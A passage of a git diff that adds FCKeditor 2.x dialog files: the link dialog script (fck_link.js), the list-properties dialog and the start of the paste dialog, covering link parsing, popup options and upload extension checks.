+                                                                       <input id="txtAttTabIndex" style="WIDTH: 100%" type="text" maxlength="5" size="5" />
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                               <tr>
+                                       <td valign="top" width="50%">&nbsp;</td>
+                                       <td width="1"></td>
+                                       <td valign="top"></td>
+                               </tr>
+                               <tr>
+                                       <td valign="top" width="50%">
+                                               <span fckLang="DlgGenTitle">Advisory Title</span><br />
+                                               <input id="txtAttTitle" style="WIDTH: 100%" type="text" />
+                                       </td>
+                                       <td width="1">&nbsp;&nbsp;&nbsp;</td>
+                                       <td valign="top">
+                                               <span fckLang="DlgGenContType">Advisory Content Type</span><br />
+                                               <input id="txtAttContentType" style="WIDTH: 100%" type="text" />
+                                       </td>
+                               </tr>
+                               <tr>
+                                       <td valign="top">
+                                               <span fckLang="DlgGenClass">Stylesheet Classes</span><br />
+                                               <input id="txtAttClasses" style="WIDTH: 100%" type="text" />
+                                       </td>
+                                       <td></td>
+                                       <td valign="top">
+                                               <span fckLang="DlgGenLinkCharset">Linked Resource Charset</span><br />
+                                               <input id="txtAttCharSet" style="WIDTH: 100%" type="text" />
+                                       </td>
+                               </tr>
+                       </table>
+                       <table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+                               <tr>
+                                       <td>
+                                               <span fckLang="DlgGenStyle">Style</span><br />
+                                               <input id="txtAttStyle" style="WIDTH: 100%" type="text" />
+                                       </td>
+                               </tr>
+                       </table>
+               </div>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_link/fck_link.js b/fckeditor/editor/dialog/fck_link/fck_link.js
new file mode 100755 (executable)
index 0000000..67ec756
--- /dev/null
@@ -0,0 +1,678 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_link.js
+ *     Scripts related to the Link dialog window (see fck_link.html).
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Dominik Pesch ?dom? (empty selection patch) (d.pesch@11com7.de)
+ *             Alfonso Martinez de Lizarrondo - Uritec (alfonso at uritec dot net)
+ */
+
+var oEditor            = window.parent.InnerDialogLoaded() ;
+var FCK                        = oEditor.FCK ;
+var FCKLang            = oEditor.FCKLang ;
+var FCKConfig  = oEditor.FCKConfig ;
+var FCKRegexLib                        = oEditor.FCKRegexLib ;
+
+//#### Dialog Tabs
+
+// Set the dialog tabs.
+window.parent.AddTab( 'Info', FCKLang.DlgLnkInfoTab ) ;
+
+if ( !FCKConfig.LinkDlgHideTarget )
+       window.parent.AddTab( 'Target', FCKLang.DlgLnkTargetTab, true ) ;
+
+if ( FCKConfig.LinkUpload )
+       window.parent.AddTab( 'Upload', FCKLang.DlgLnkUpload, true ) ;
+
+if ( !FCKConfig.LinkDlgHideAdvanced )
+       window.parent.AddTab( 'Advanced', FCKLang.DlgAdvancedTag ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+       ShowE('divInfo'         , ( tabCode == 'Info' ) ) ;
+       ShowE('divTarget'       , ( tabCode == 'Target' ) ) ;
+       ShowE('divUpload'       , ( tabCode == 'Upload' ) ) ;
+       ShowE('divAttribs'      , ( tabCode == 'Advanced' ) ) ;
+
+       window.parent.SetAutoSize( true ) ;
+}
+
+//#### Regular Expressions library.
+var oRegex = new Object() ;
+
+oRegex.UriProtocol = new RegExp('') ;
+oRegex.UriProtocol.compile( '^(((http|https|ftp|news):\/\/)|mailto:)', 'gi' ) ;
+
+oRegex.UrlOnChangeProtocol = new RegExp('') ;
+oRegex.UrlOnChangeProtocol.compile( '^(http|https|ftp|news)://(?=.)', 'gi' ) ;
+
+oRegex.UrlOnChangeTestOther = new RegExp('') ;
+//oRegex.UrlOnChangeTestOther.compile( '^(javascript:|#|/)', 'gi' ) ;
+oRegex.UrlOnChangeTestOther.compile( '^((javascript:)|[#/\.])', 'gi' ) ; 
+
+oRegex.ReserveTarget = new RegExp('') ;
+oRegex.ReserveTarget.compile( '^_(blank|self|top|parent)$', 'i' ) ;
+
+oRegex.PopupUri = new RegExp('') ;
+oRegex.PopupUri.compile( "^javascript:void\\(\\s*window.open\\(\\s*'([^']+)'\\s*,\\s*(?:'([^']*)'|null)\\s*,\\s*'([^']*)'\\s*\\)\\s*\\)\\s*$" ) ;
+
+// Accesible popups
+oRegex.OnClickPopup = new RegExp('') ;
+oRegex.OnClickPopup.compile( "^\\s*onClick=\"\\s*window.open\\(\\s*this\\.href\\s*,\\s*(?:'([^']*)'|null)\\s*,\\s*'([^']*)'\\s*\\)\\s*;\\s*return\\s*false;*\\s*\"$" ) ;
+
+oRegex.PopupFeatures = new RegExp('') ;
+oRegex.PopupFeatures.compile( '(?:^|,)([^=]+)=(\\d+|yes|no)', 'gi' ) ;
+
+//#### Parser Functions
+
+var oParser = new Object() ;
+
+oParser.ParseEMailUrl = function( emailUrl )
+{
+       // Initializes the EMailInfo object.
+       var oEMailInfo = new Object() ;
+       oEMailInfo.Address      = '' ;
+       oEMailInfo.Subject      = '' ;
+       oEMailInfo.Body         = '' ;
+
+       var oParts = emailUrl.match( /^([^\?]+)\??(.+)?/ ) ;
+       if ( oParts )
+       {
+               // Set the e-mail address.
+               oEMailInfo.Address = oParts[1] ;
+
+               // Look for the optional e-mail parameters.
+               if ( oParts[2] )
+               {
+                       var oMatch = oParts[2].match( /(^|&)subject=([^&]+)/i ) ;
+                       if ( oMatch ) oEMailInfo.Subject = decodeURIComponent( oMatch[2] ) ;
+
+                       oMatch = oParts[2].match( /(^|&)body=([^&]+)/i ) ;
+                       if ( oMatch ) oEMailInfo.Body = decodeURIComponent( oMatch[2] ) ;
+               }
+       }
+
+       return oEMailInfo ;
+}
+
+oParser.CreateEMailUri = function( address, subject, body )
+{
+       var sBaseUri = 'mailto:' + address ;
+
+       var sParams = '' ;
+
+       if ( subject.length > 0 )
+               sParams = '?subject=' + encodeURIComponent( subject ) ;
+
+       if ( body.length > 0 )
+       {
+               sParams += ( sParams.length == 0 ? '?' : '&' ) ;
+               sParams += 'body=' + encodeURIComponent( body ) ;
+       }
+
+       return sBaseUri + sParams ;
+}
+
+//#### Initialization Code
+
+// oLink: The actual selected link in the editor.
+var oLink = FCK.Selection.MoveToAncestorNode( 'A' ) ;
+if ( oLink )
+       FCK.Selection.SelectNode( oLink ) ;
+
+window.onload = function()
+{
+       // Translate the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       // Fill the Anchor Names and Ids combos.
+       LoadAnchorNamesAndIds() ;
+
+       // Load the selected link information (if any).
+       LoadSelection() ;
+
+       // Update the dialog box.
+       SetLinkType( GetE('cmbLinkType').value ) ;
+
+       // Show/Hide the "Browse Server" button.
+       GetE('divBrowseServer').style.display = FCKConfig.LinkBrowser ? '' : 'none' ;
+
+       // Show the initial dialog content.
+       GetE('divInfo').style.display = '' ;
+
+       // Set the actual uploader URL.
+       if ( FCKConfig.LinkUpload )
+               GetE('frmUpload').action = FCKConfig.LinkUploadURL ;
+
+       // Activate the "OK" button.
+       window.parent.SetOkButton( true ) ;
+}
+
+var bHasAnchors ;
+
+function LoadAnchorNamesAndIds()
+{
+       // Since version 2.0, the anchors are replaced in the DOM by IMGs so the user see the icon 
+       // to edit them. So, we must look for that images now.
+       var aAnchors = new Array() ;
+       var i ;
+       var oImages = oEditor.FCK.EditorDocument.getElementsByTagName( 'IMG' ) ;
+       for( i = 0 ; i < oImages.length ; i++ )
+       {
+               if ( oImages[i].getAttribute('_fckanchor') )
+                       aAnchors[ aAnchors.length ] = oEditor.FCK.GetRealElement( oImages[i] ) ;
+       }
+
+       // Add also real anchors
+       var oLinks = oEditor.FCK.EditorDocument.getElementsByTagName( 'A' ) ;
+       for( i = 0 ; i < oLinks.length ; i++ )
+       {
+               if ( oLinks[i].name && ( oLinks[i].name.length > 0 ) )
+                       aAnchors[ aAnchors.length ] = oLinks[i] ;
+       }
+       
+       var aIds = oEditor.FCKTools.GetAllChildrenIds( oEditor.FCK.EditorDocument.body ) ;
+
+       bHasAnchors = ( aAnchors.length > 0 || aIds.length > 0 ) ;
+
+       for ( i = 0 ; i < aAnchors.length ; i++ )
+       {
+               var sName = aAnchors[i].name ;
+               if ( sName && sName.length > 0 )
+                       oEditor.FCKTools.AddSelectOption( GetE('cmbAnchorName'), sName, sName ) ;
+       }
+
+       for ( i = 0 ; i < aIds.length ; i++ )
+       {
+               oEditor.FCKTools.AddSelectOption( GetE('cmbAnchorId'), aIds[i], aIds[i] ) ;
+       }
+
+       ShowE( 'divSelAnchor'   , bHasAnchors ) ;
+       ShowE( 'divNoAnchor'    , !bHasAnchors ) ;
+}
+
+function LoadSelection()
+{
+       if ( !oLink ) return ;
+
+       var sType = 'url' ;
+
+       // Get the actual Link href.
+       var sHRef = oLink.getAttribute( '_fcksavedurl' ) ;
+       if ( sHRef == null )
+               sHRef = oLink.getAttribute( 'href' , 2 ) || '' ;
+
+       // Look for a popup javascript link.
+       var oPopupMatch = oRegex.PopupUri.exec( sHRef ) ;
+       if( oPopupMatch )
+       {
+               GetE('cmbTarget').value = 'popup' ;
+               sHRef = oPopupMatch[1] ;
+               FillPopupFields( oPopupMatch[2], oPopupMatch[3] ) ;
+               SetTarget( 'popup' ) ;
+       }
+
+       // Accesible popups, the popup data is in the onclick attribute
+       if ( !oPopupMatch ) {
+               var onclick = oLink.getAttribute( 'onClick_fckprotectedatt' ) ;
+               oPopupMatch = oRegex.OnClickPopup.exec( onclick ) ;
+               if( oPopupMatch )
+               {
+                       GetE( 'cmbTarget' ).value = 'popup' ;
+                       FillPopupFields( oPopupMatch[1], oPopupMatch[2] ) ;
+                       SetTarget( 'popup' ) ;
+               }
+       }
+
+       // Search for the protocol.
+       var sProtocol = oRegex.UriProtocol.exec( sHRef ) ;
+
+       if ( sProtocol )
+       {
+               sProtocol = sProtocol[0].toLowerCase() ;
+               GetE('cmbLinkProtocol').value = sProtocol ;
+
+               // Remove the protocol and get the remainig URL.
+               var sUrl = sHRef.replace( oRegex.UriProtocol, '' ) ;
+
+               if ( sProtocol == 'mailto:' )   // It is an e-mail link.
+               {
+                       sType = 'email' ;
+
+                       var oEMailInfo = oParser.ParseEMailUrl( sUrl ) ;
+                       GetE('txtEMailAddress').value   = oEMailInfo.Address ;
+                       GetE('txtEMailSubject').value   = oEMailInfo.Subject ;
+                       GetE('txtEMailBody').value              = oEMailInfo.Body ;
+               }
+               else                            // It is a normal link.
+               {
+                       sType = 'url' ;
+                       GetE('txtUrl').value = sUrl ;
+               }
+       }
+       else if ( sHRef.substr(0,1) == '#' && sHRef.length > 1 )        // It is an anchor link.
+       {
+               sType = 'anchor' ;
+               GetE('cmbAnchorName').value = GetE('cmbAnchorId').value = sHRef.substr(1) ;
+       }
+       else                                    // It is another type of link.
+       {
+               sType = 'url' ;
+
+               GetE('cmbLinkProtocol').value = '' ;
+               GetE('txtUrl').value = sHRef ;
+       }
+
+       if ( !oPopupMatch )
+       {
+               // Get the target.
+               var sTarget = oLink.target ;
+
+               if ( sTarget && sTarget.length > 0 )
+               {
+                       if ( oRegex.ReserveTarget.test( sTarget ) )
+                       {
+                               sTarget = sTarget.toLowerCase() ;
+                               GetE('cmbTarget').value = sTarget ;
+                       }
+                       else
+                               GetE('cmbTarget').value = 'frame' ;
+                       GetE('txtTargetFrame').value = sTarget ;
+               }
+       }
+
+       // Get Advances Attributes
+       GetE('txtAttId').value                  = oLink.id ;
+       GetE('txtAttName').value                = oLink.name ;
+       GetE('cmbAttLangDir').value             = oLink.dir ;
+       GetE('txtAttLangCode').value    = oLink.lang ;
+       GetE('txtAttAccessKey').value   = oLink.accessKey ;
+       GetE('txtAttTabIndex').value    = oLink.tabIndex <= 0 ? '' : oLink.tabIndex ;
+       GetE('txtAttTitle').value               = oLink.title ;
+       GetE('txtAttContentType').value = oLink.type ;
+       GetE('txtAttCharSet').value             = oLink.charset ;
+
+       var sClass ;
+       if ( oEditor.FCKBrowserInfo.IsIE )
+       {
+               sClass  = oLink.getAttribute('className',2) || '' ;
+               // Clean up temporary classes for internal use:
+               sClass = sClass.replace( FCKRegexLib.FCK_Class, '' ) ;
+
+               GetE('txtAttStyle').value       = oLink.style.cssText ;
+       }
+       else
+       {
+               sClass  = oLink.getAttribute('class',2) || '' ;
+               GetE('txtAttStyle').value       = oLink.getAttribute('style',2) || '' ;
+       }
+       GetE('txtAttClasses').value     = sClass ;
+
+       // Update the Link type combo.
+       GetE('cmbLinkType').value = sType ;
+}
+
+//#### Link type selection.
+function SetLinkType( linkType )
+{
+       ShowE('divLinkTypeUrl'          , (linkType == 'url') ) ;
+       ShowE('divLinkTypeAnchor'       , (linkType == 'anchor') ) ;
+       ShowE('divLinkTypeEMail'        , (linkType == 'email') ) ;
+
+       if ( !FCKConfig.LinkDlgHideTarget )
+               window.parent.SetTabVisibility( 'Target'        , (linkType == 'url') ) ;
+
+       if ( FCKConfig.LinkUpload )
+               window.parent.SetTabVisibility( 'Upload'        , (linkType == 'url') ) ;
+
+       if ( !FCKConfig.LinkDlgHideAdvanced )
+               window.parent.SetTabVisibility( 'Advanced'      , (linkType != 'anchor' || bHasAnchors) ) ;
+
+       if ( linkType == 'email' )
+               window.parent.SetAutoSize( true ) ;
+}
+
+//#### Target type selection.
+function SetTarget( targetType )
+{
+       GetE('tdTargetFrame').style.display     = ( targetType == 'popup' ? 'none' : '' ) ;
+       GetE('tdPopupName').style.display       =
+               GetE('tablePopupFeatures').style.display = ( targetType == 'popup' ? '' : 'none' ) ;
+
+       switch ( targetType )
+       {
+               case "_blank" :
+               case "_self" :
+               case "_parent" :
+               case "_top" :
+                       GetE('txtTargetFrame').value = targetType ;
+                       break ;
+               case "" :
+                       GetE('txtTargetFrame').value = '' ;
+                       break ;
+       }
+
+       if ( targetType == 'popup' )
+               window.parent.SetAutoSize( true ) ;
+}
+
+//#### Called while the user types the URL.
+function OnUrlChange()
+{
+       var sUrl = GetE('txtUrl').value ;
+       var sProtocol = oRegex.UrlOnChangeProtocol.exec( sUrl ) ;
+
+       if ( sProtocol )
+       {
+               sUrl = sUrl.substr( sProtocol[0].length ) ;
+               GetE('txtUrl').value = sUrl ;
+               GetE('cmbLinkProtocol').value = sProtocol[0].toLowerCase() ;
+       }
+       else if ( oRegex.UrlOnChangeTestOther.test( sUrl ) )
+       {
+               GetE('cmbLinkProtocol').value = '' ;
+       }
+}
+
+//#### Called while the user types the target name.
+function OnTargetNameChange()
+{
+       var sFrame = GetE('txtTargetFrame').value ;
+
+       if ( sFrame.length == 0 )
+               GetE('cmbTarget').value = '' ;
+       else if ( oRegex.ReserveTarget.test( sFrame ) )
+               GetE('cmbTarget').value = sFrame.toLowerCase() ;
+       else
+               GetE('cmbTarget').value = 'frame' ;
+}
+
+// Accesible popups
+function BuildOnClickPopup()
+{
+       var sWindowName = "'" + GetE('txtPopupName').value.replace(/\W/gi, "") + "'" ;
+
+       var sFeatures = '' ;
+       var aChkFeatures = document.getElementsByName( 'chkFeature' ) ;
+       for ( var i = 0 ; i < aChkFeatures.length ; i++ )
+       {
+               if ( i > 0 ) sFeatures += ',' ;
+               sFeatures += aChkFeatures[i].value + '=' + ( aChkFeatures[i].checked ? 'yes' : 'no' ) ;
+       }
+
+       if ( GetE('txtPopupWidth').value.length > 0 )   sFeatures += ',width=' + GetE('txtPopupWidth').value ;
+       if ( GetE('txtPopupHeight').value.length > 0 )  sFeatures += ',height=' + GetE('txtPopupHeight').value ;
+       if ( GetE('txtPopupLeft').value.length > 0 )    sFeatures += ',left=' + GetE('txtPopupLeft').value ;
+       if ( GetE('txtPopupTop').value.length > 0 )             sFeatures += ',top=' + GetE('txtPopupTop').value ;
+
+       if ( sFeatures != '' )
+               sFeatures = sFeatures + ",status" ;
+
+       return ( "window.open(this.href," + sWindowName + ",'" + sFeatures + "'); return false" ) ;
+}
+
+//#### Fills all Popup related fields.
+function FillPopupFields( windowName, features )
+{
+       if ( windowName )
+               GetE('txtPopupName').value = windowName ;
+
+       var oFeatures = new Object() ;
+       var oFeaturesMatch ;
+       while( ( oFeaturesMatch = oRegex.PopupFeatures.exec( features ) ) != null )
+       {
+               var sValue = oFeaturesMatch[2] ;
+               if ( sValue == ( 'yes' || '1' ) )
+                       oFeatures[ oFeaturesMatch[1] ] = true ;
+               else if ( ! isNaN( sValue ) && sValue != 0 )
+                       oFeatures[ oFeaturesMatch[1] ] = sValue ;
+       }
+
+       // Update all features check boxes.
+       var aChkFeatures = document.getElementsByName('chkFeature') ;
+       for ( var i = 0 ; i < aChkFeatures.length ; i++ )
+       {
+               if ( oFeatures[ aChkFeatures[i].value ] )
+                       aChkFeatures[i].checked = true ;
+       }
+
+       // Update position and size text boxes.
+       if ( oFeatures['width'] )       GetE('txtPopupWidth').value             = oFeatures['width'] ;
+       if ( oFeatures['height'] )      GetE('txtPopupHeight').value    = oFeatures['height'] ;
+       if ( oFeatures['left'] )        GetE('txtPopupLeft').value              = oFeatures['left'] ;
+       if ( oFeatures['top'] )         GetE('txtPopupTop').value               = oFeatures['top'] ;
+}
+
+//#### The OK button was hit.
+function Ok()
+{
+       var sUri, sInnerHtml ;
+
+       switch ( GetE('cmbLinkType').value )
+       {
+               case 'url' :
+                       sUri = GetE('txtUrl').value ;
+
+                       if ( sUri.length == 0 )
+                       {
+                               alert( FCKLang.DlnLnkMsgNoUrl ) ;
+                               return false ;
+                       }
+
+                       sUri = GetE('cmbLinkProtocol').value + sUri ;
+
+                       break ;
+
+               case 'email' :
+                       sUri = GetE('txtEMailAddress').value ;
+
+                       if ( sUri.length == 0 )
+                       {
+                               alert( FCKLang.DlnLnkMsgNoEMail ) ;
+                               return false ;
+                       }
+
+                       sUri = oParser.CreateEMailUri(
+                               sUri,
+                               GetE('txtEMailSubject').value,
+                               GetE('txtEMailBody').value ) ;
+                       break ;
+
+               case 'anchor' :
+                       var sAnchor = GetE('cmbAnchorName').value ;
+                       if ( sAnchor.length == 0 ) sAnchor = GetE('cmbAnchorId').value ;
+
+                       if ( sAnchor.length == 0 )
+                       {
+                               alert( FCKLang.DlnLnkMsgNoAnchor ) ;
+                               return false ;
+                       }
+
+                       sUri = '#' + sAnchor ;
+                       break ;
+       }
+
+       // No link selected, so try to create one.
+       if ( !oLink )
+               oLink = oEditor.FCK.CreateLink( sUri ) ;
+       
+       if ( oLink )
+               sInnerHtml = oLink.innerHTML ;          // Save the innerHTML (IE changes it if it is like an URL).
+       else
+       {
+               // If no selection, use the uri as the link text (by dom, 2006-05-26)
+
+               sInnerHtml = sUri;
+
+               // Built a better text for empty links.
+               switch ( GetE('cmbLinkType').value )
+               {
+                       // anchor: use old behavior --> return true
+                       case 'anchor':
+                               sInnerHtml = sInnerHtml.replace( /^#/, '' ) ;
+                               break ;
+
+                       // url: try to get path
+                       case 'url':
+                               var oLinkPathRegEx = new RegExp("//?([^?\"']+)([?].*)?$") ;
+                               var asLinkPath = oLinkPathRegEx.exec( sUri ) ;
+                               if (asLinkPath != null)
+                                       sInnerHtml = asLinkPath[1];  // use matched path
+                               break ;
+
+                       // mailto: try to get email address
+                       case 'email':
+                               sInnerHtml = GetE('txtEMailAddress').value ;
+                               break ;
+               }
+
+               // Create a new (empty) anchor.
+               oLink = oEditor.FCK.CreateElement( 'a' ) ;
+       }
+
+       oEditor.FCKUndo.SaveUndoStep() ;
+
+       oLink.href = sUri ;
+       SetAttribute( oLink, '_fcksavedurl', sUri ) ;
+
+       // Accesible popups
+       if( GetE('cmbTarget').value == 'popup' ) 
+       {
+               SetAttribute( oLink, 'onClick_fckprotectedatt', " onClick=\"" + BuildOnClickPopup() + "\"") ;
+       } 
+       else 
+       {
+               // Check if the previous onclick was for a popup:
+               // In that case remove the onclick handler.
+               var onclick = oLink.getAttribute( 'onClick_fckprotectedatt' ) ;
+               if( oRegex.OnClickPopup.test( onclick ) )
+                       SetAttribute( oLink, 'onClick_fckprotectedatt', '' ) ;
+       }
+
+       oLink.innerHTML = sInnerHtml ;          // Set (or restore) the innerHTML
+
+       // Target
+       if( GetE('cmbTarget').value != 'popup' )
+               SetAttribute( oLink, 'target', GetE('txtTargetFrame').value ) ;
+       else
+               SetAttribute( oLink, 'target', null ) ;
+
+       // Advances Attributes
+       SetAttribute( oLink, 'id'               , GetE('txtAttId').value ) ;
+       SetAttribute( oLink, 'name'             , GetE('txtAttName').value ) ;          
+       SetAttribute( oLink, 'dir'              , GetE('cmbAttLangDir').value ) ;
+       SetAttribute( oLink, 'lang'             , GetE('txtAttLangCode').value ) ;
+       SetAttribute( oLink, 'accesskey', GetE('txtAttAccessKey').value ) ;
+       SetAttribute( oLink, 'tabindex' , ( GetE('txtAttTabIndex').value > 0 ? GetE('txtAttTabIndex').value : null ) ) ;
+       SetAttribute( oLink, 'title'    , GetE('txtAttTitle').value ) ;
+       SetAttribute( oLink, 'type'             , GetE('txtAttContentType').value ) ;
+       SetAttribute( oLink, 'charset'  , GetE('txtAttCharSet').value ) ;
+
+       if ( oEditor.FCKBrowserInfo.IsIE )
+       {
+               var sClass = GetE('txtAttClasses').value ;
+               // If it's also an anchor add an internal class
+               if ( GetE('txtAttName').value.length != 0 )
+                       sClass += ' FCK__AnchorC' ;
+               SetAttribute( oLink, 'className', sClass ) ;
+
+               oLink.style.cssText = GetE('txtAttStyle').value ;
+       }
+       else
+       {
+               SetAttribute( oLink, 'class', GetE('txtAttClasses').value ) ;
+               SetAttribute( oLink, 'style', GetE('txtAttStyle').value ) ;
+       }
+
+       // Select the link.
+       oEditor.FCKSelection.SelectNode(oLink);
+       
+       return true ;
+}
+
+function BrowseServer()
+{
+       OpenFileBrowser( FCKConfig.LinkBrowserURL, FCKConfig.LinkBrowserWindowWidth, FCKConfig.LinkBrowserWindowHeight ) ;
+}
+
+function SetUrl( url )
+{
+       document.getElementById('txtUrl').value = url ;
+       OnUrlChange() ;
+       window.parent.SetSelectedTab( 'Info' ) ;
+}
+
+function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
+{
+       switch ( errorNumber )
+       {
+               case 0 :        // No errors
+                       alert( 'Your file has been successfully uploaded' ) ;
+                       break ;
+               case 1 :        // Custom error
+                       alert( customMsg ) ;
+                       return ;
+               case 101 :      // Custom warning
+                       alert( customMsg ) ;
+                       break ;
+               case 201 :
+                       alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+                       break ;
+               case 202 :
+                       alert( 'Invalid file type' ) ;
+                       return ;
+               case 203 :
+                       alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
+                       return ;
+               default :
+                       alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+                       return ;
+       }
+
+       SetUrl( fileUrl ) ;
+       GetE('frmUpload').reset() ;
+}
+
+var oUploadAllowedExtRegex     = new RegExp( FCKConfig.LinkUploadAllowedExtensions, 'i' ) ;
+var oUploadDeniedExtRegex      = new RegExp( FCKConfig.LinkUploadDeniedExtensions, 'i' ) ;
+
+function CheckUpload()
+{
+       var sFile = GetE('txtUploadFile').value ;
+       
+       if ( sFile.length == 0 )
+       {
+               alert( 'Please select a file to upload' ) ;
+               return false ;
+       }
+       
+       if ( ( FCKConfig.LinkUploadAllowedExtensions.length > 0 && !oUploadAllowedExtRegex.test( sFile ) ) ||
+               ( FCKConfig.LinkUploadDeniedExtensions.length > 0 && oUploadDeniedExtRegex.test( sFile ) ) )
+       {
+               OnUploadCompleted( 202 ) ;
+               return false ;
+       }
+       
+       return true ;
+}
diff --git a/fckeditor/editor/dialog/fck_listprop.html b/fckeditor/editor/dialog/fck_listprop.html
new file mode 100755 (executable)
index 0000000..c42ea0c
--- /dev/null
@@ -0,0 +1,121 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_listprop.html
+ *     Bulleted List dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Marcel J Bennett (start attribute)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+var sListType = ( location.search == '?OL' ? 'OL' : 'UL' ) ;
+
+var oActiveEl = oEditor.FCKSelection.MoveToAncestorNode( sListType ) ;
+var oActiveSel ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( sListType == 'UL' )
+               oActiveSel = GetE('selBulleted') ;
+       else
+       {
+               if ( oActiveEl )
+               {
+                       oActiveSel = GetE('selNumbered') ;
+                       GetE('eStart').style.display = '' ;
+                       GetE('txtStartPosition').value  = GetAttribute( oActiveEl, 'start' ) ;
+               }
+       }
+
+       oActiveSel.style.display = '' ;
+
+       if ( oActiveEl )
+       {
+               if ( oActiveEl.getAttribute('type') )
+                       oActiveSel.value = oActiveEl.getAttribute('type').toLowerCase() ;
+       }
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( oActiveEl ){
+               SetAttribute( oActiveEl, 'type' , oActiveSel.value ) ;
+               if(oActiveEl.tagName == 'OL')
+                       SetAttribute( oActiveEl, 'start', GetE('txtStartPosition').value ) ;
+       }
+
+       return true ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table width="100%" style="height: 100%">
+               <tr>
+                       <td style="text-align:center">
+                               <table cellspacing="0" cellpadding="0" border="0" style="margin-left: auto; margin-right: auto;">
+                                       <tr>
+                                               <td id="eStart" style="display: none; padding-right: 5px; padding-left: 5px">
+                                                       <span fcklang="DlgLstStart">Start</span><br />
+                                                       <input type="text" id="txtStartPosition" size="5" />
+                                               </td>
+                                               <td style="padding-right: 5px; padding-left: 5px">
+                                                       <span fcklang="DlgLstType">List Type</span><br />
+                                                       <select id="selBulleted" style="display: none">
+                                                               <option value="" selected="selected"></option>
+                                                               <option value="circle" fcklang="DlgLstTypeCircle">Circle</option>
+                                                               <option value="disc" fcklang="DlgLstTypeDisc">Disc</option>
+                                                               <option value="square" fcklang="DlgLstTypeSquare">Square</option>
+                                                       </select>
+                                                       <select id="selNumbered" style="display: none">
+                                                               <option value="" selected="selected"></option>
+                                                               <option value="1" fcklang="DlgLstTypeNumbers">Numbers (1, 2, 3)</option>
+                                                               <option value="a" fcklang="DlgLstTypeLCase">Lowercase Letters (a, b, c)</option>
+                                                               <option value="A" fcklang="DlgLstTypeUCase">Uppercase Letters (A, B, C)</option>
+                                                               <option value="i" fcklang="DlgLstTypeSRoman">Small Roman Numerals (i, ii, iii)</option>
+                                                               <option value="I" fcklang="DlgLstTypeLRoman">Large Roman Numerals (I, II, III)</option>
+                                                       </select>
+                                                       &nbsp;
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_paste.html b/fckeditor/editor/dialog/fck_paste.html
new file mode 100755 (executable)
index 0000000..4741cee
--- /dev/null
@@ -0,0 +1,264 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_paste.html
+ *     This dialog is shown when, for some reason (usually security settings), 
+ *     the user is not able to paste data from the clipboard to the editor using 
+ *     the toolbar buttons or the context menu.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <script type="text/javascript">
